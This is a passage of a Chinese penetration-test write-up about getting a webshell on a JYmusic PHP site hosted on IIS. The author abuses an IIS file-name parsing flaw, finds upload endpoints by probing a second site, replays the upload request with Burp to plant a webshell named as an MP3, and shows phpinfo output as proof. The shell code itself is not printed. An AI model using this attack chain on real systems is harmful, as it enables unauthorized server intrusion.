

▼ Response Headers [view source](#)

Cache-Control: private
Content-Encoding: gzip
Content-Length: 15989
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Dec 2020 08:06:41 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Microsoft-IIS/7.5
Vary: Accept-Encoding
X-Powered-By: ThinkPHP
X-Powered-By: ASP.NET

0x02: 开搞和碰壁

抱着试试看的心态随便找了个资源文件试了发解析漏洞，没想到成功了，那么现在只需要找到上传点就能getshell了。

```
← → ↺ ↻ ☆ ① 不安全 /static/js/artDialog/skins/default.css/.php
@charset "utf-8"; /* * artDialog skin * https://github.com/aui/artDialog * (c) 2009-2013 TangBin, http://www.planeArt.cn * * This
see: http://creativecommons.org/licenses/LGPL/2.1/ */ /* common start */ body { _margin:0; _height:100%; }/*IE6 BUG*/ .d-oute
none; margin:0; border-collapse:collapse; width:auto; } .d-nw, .d-n, .d-ne, .d-w, .d-c, .d-e, .d-sw, .d-s, .d-se, .d-header, .d-main, .d
'Microsoft Yahei', Tahoma, Arial, Helvetica, STHeiti; _font-family:Tahoma,Arial,Helvetica,STHeiti; -o-font-family: Tahoma, Arial; } .
state-noTitle .d-title { display:none; } .d-close { display:block; position:absolute; text-decoration:none; outline:none; _cursor:point
align:center; vertical-align:middle; min-width:9em; } .d-content { display:inline-block; display:block\0/*IE8 BUG*/; display:inline-b
content.d-state-full { display:block; width:100%; margin:0; padding:0!important; height:100%; } .d-loading { width:96px; height:3
background:url/loading.gif no-repeat center center; } .d-buttons { padding:8px; text-align:right; white-space:nowrap; } .d-butto
block; min-height:2.2em; text-align:center; *padding:4px 10px; *height:2em; letter-spacing:2px; font-family: Tahoma, Arial; !im
1px solid #999; border-radius: 5px; background: #DDD; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFF
#FFF, #DDD); background: -moz-linear-gradient(top, #FFF, #DDD); background: -webkit-gradient(linear, 0% 0%, 0% 100%, from
box-shadow: 0 1px 0 rgba(255, 255, 255, .7), 0 -1px 0 rgba(0, 0, 0, .09); -moz-transition:-moz-box-shadow linear .2s; -webkit-tra
.2s; } .d-button::-moz-focus-inner, .d-button::-moz-focus-outer { border:0 none; padding:0; margin:0; } .d-button:focus { outline:

```

- 常见的编辑器
 - Ueditor/Umeditor
 - Kindeditor
 - ckeditor/ckfinder
- 程序上传点
 - 头像/文章/附件...
 - 上传组件

目标站开放注册，登录后发现存在头像上传功能，原以为直接可以搞定了，结果却不尽人意，应该是二次渲染了。。。

```

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<title>系统发生错误</title>
<style type="text/css">
*{ padding: 0; margin: 0; }
html{ overflow-y: scroll; }
body{ background: #fff; font-family: '微软雅黑'; color: #333; font-size:
16px; }
img{ border: 0; }
.error{ padding: 24px 48px; }
.face{ width:320px; margin:20px auto; }
.face img {width:320px; }
h1{ font-size: 32px; line-height: 48px; text-align:center; }
.error .content{ padding-top: 10px}
.error .info{ margin-bottom: 12px; }
.error .info .title{ margin-bottom: 3px; }
.error .info .title h3{ color: #000; font-weight: 700; font-size: 16px;
}
.error .info .text{ line-height: 24px; }
.copyright{ padding: 12px 48px; color: #999; margin:0 auto; width:220px}
.copyright a{ color: #000; text-decoration: none; }
</style>
</head>
<body>
<div class="error">
<p class="face"></p>
<h1>你访问的页面不存在~</h1>
<div class="content" style="margin:0 auto">
</div>
</div>
<div class="copyright" >
<p><a title="官方网站" href="http://www.jyuu.cn">JYmusic</a><sup></sup>[ php
音乐管理程序 ]</p>

```

试了上传一些二次渲染后仍能执行的Webshell后依然发现无法正常getshell，看样子得放弃头像这个地方了

0x03：柳暗花明又一村

既然头像上传走不通那么只能另寻出路，分享音乐功能被改成人工审核，但是猜测接口还是存在的。



这里通过fofa找到一个功能正常的站点，以下称为www.bbb.com

这个站点的分享音乐功能是正常的

分享音乐

上传条款

上传音乐，即表示您已同意 [上传服务条款](#)，请勿上传色情及反动等违法音乐,单个文件最大20MB

音乐名称*

合理的名字才会通过审核

所属分类*

选择曲风

所属专辑*

单曲

如果没有请点击添加专辑

上传音乐*

点击上传

点击或将文件拖拽到此处

歌曲歌词

支持LRC歌词和文本歌词

直接上传音乐文件



文件正常上传，但是没有返回路径emmm，提交试试。

wtf，没有分类数据咋办，祭出神器F12给select标签加一个有value值的option。

所属分类*

选择曲风

请选择所属分类

```
<select class="form-control" error="true" name="genre">
  <option value="">选择曲风</option>
  <option value="123">测试</option>
</select>

{
  "info": "分享成功，请等待审核...",
  "status": 1,
  "url": "/index.php?s=/user/music/audit.html"
}
```

提示分享成功，查看审核列表也有了，编辑发现ID为23，首页随便点进去一个发现id为21。

我的分享

正在审核

我的下载

音乐标题

所属分类

操作

1 111



=/user/music/edit/id/23.html

同时发现接口可以获取音乐上传路径，替换为ID=23后取得路径。

Name	Headers	Preview	Response	Initiator	Timing	Cookies
<input type="checkbox"/> index.php?s=/music/getdata.html			▼ {id: "21", server_id: "0", name: "《当我谈跑步时，我谈些什么》", artist_id: "4", artist_name: "小创", server_id: "0", name: "《当我谈跑步时，我谈些什么》", artist_id: "4", artist_name: "小创", album_id: "0", album_name: "", cover_url: "/Public/static/images/cover.png", up_uid: "1", up_username: "admin", lrc: "本书是村上春树最受欢迎的随笔集。开始作家生涯之际，村上春树也开始长跑。从夏威夷的考爱岛，listen_url: "https://06/170249_23_oh1h.mp3"			
<input type="checkbox"/> index.php?s=/Member/getUser.html						
<input type="checkbox"/> logo@2x.png						
<input type="checkbox"/> logo@2x.png						
<input type="checkbox"/> avatar@2x.png						

```
{
  "id": "23",
  "server_id": "0",
  "name": "111",
  "artist_id": "0",
  "artist_name": "",
  "album_id": "0",
  "album_name": "",
  "cover_url": "/Public/static/images/cover.png",
  "up_uid": "5",
  "up_username": "admin123",
  "lrc": "xxx",
  "listen_url": "/Uploads/UserUp/2020-11-23/5fbb6c01470da.mp3"
}
```

URL	
http://.../index.php?s=/music/getdata.html	
Enable POST <small>enctype</small> application/x-www-form-urlencoded	
ADD HEADER	
Body	
id=23	
Name	Value
<input checked="" type="checkbox"/> X-Requested-With	XMLHttpRequest

那么思路就来了，把www.bbb.com的操作在www.aaa.com重现一遍即可

直接把bbb.com上传音乐文件的请求，移花接木到aaa.com上（burp改包host和cookie，提交时改fileid）。

Raw	头	Hex	JSON Beautifier
<pre>{ "status": 1, "info": "上传成功", "data": "", "file_id": "46" }</pre>			

song=111&genre=123&album=0&fileid=46&lrc=xxx&signature=xxx

我的分享	正在审核	我的下载
音乐标题		所属分类
		操作
1	111	

=/user/music/edit/id/10514.html

```
{
  "id": "10514",
  "server_id": "0",
  "name": "111",
  "artist_id": "0",
  "artist_name": "",
  "album_id": "0",
  "album_name": "",
  "cover_url": "/Public/static/images/cover.png",
  "up_uid": "3592",
  "up_username": "aaabbb123",
  "lrc": "xxx",
  "listen_url": "/Uploads/UserUp/2020-12-05/5fcb8d0fa6cd9.mp3"
}
```

URI: /user/music/edit/id/10514.html

POST application/x-www-form-urlencoded

Body id=10514

ADD HEADER

Name	Value
X-Requested-With	XMLHttpRequest

通过解析漏洞访问我们后缀名为MP3的webshell

至此成功getshell

通过解析漏洞访问我们后缀名为MP3的webshell

PHP Version 5.4.37	
System	Windows NT MIX57COM 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) i586
Build Date	Jan 21 2015 01:56:45
Compiler	MSVC9 (Visual C++ 2008)
Architecture	x86
Configure Command	cscrip /nologo configure.js --enable-snapshot-build --enable-debug-pack --disable-zts --disable-isapi --disable-nsapi --without-mssql --without-pdo-mssql --without-pi3web --with-pdo-oci=C:\php-sdk\oracle\instantclient10\sdk,shared --with-oci8=C:\php-sdk\oracle\instantclient10\sdk,shared --with-oci8-11g=C:\php-sdk\oracle\instantclient11\sdk,shared --with-encchant=shared --enable-object-out-dir=../obj/ --enable-com-dotnet=shared --with-mcrypt=static --disable-static-analyze --with-pgo
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration	C:\Windows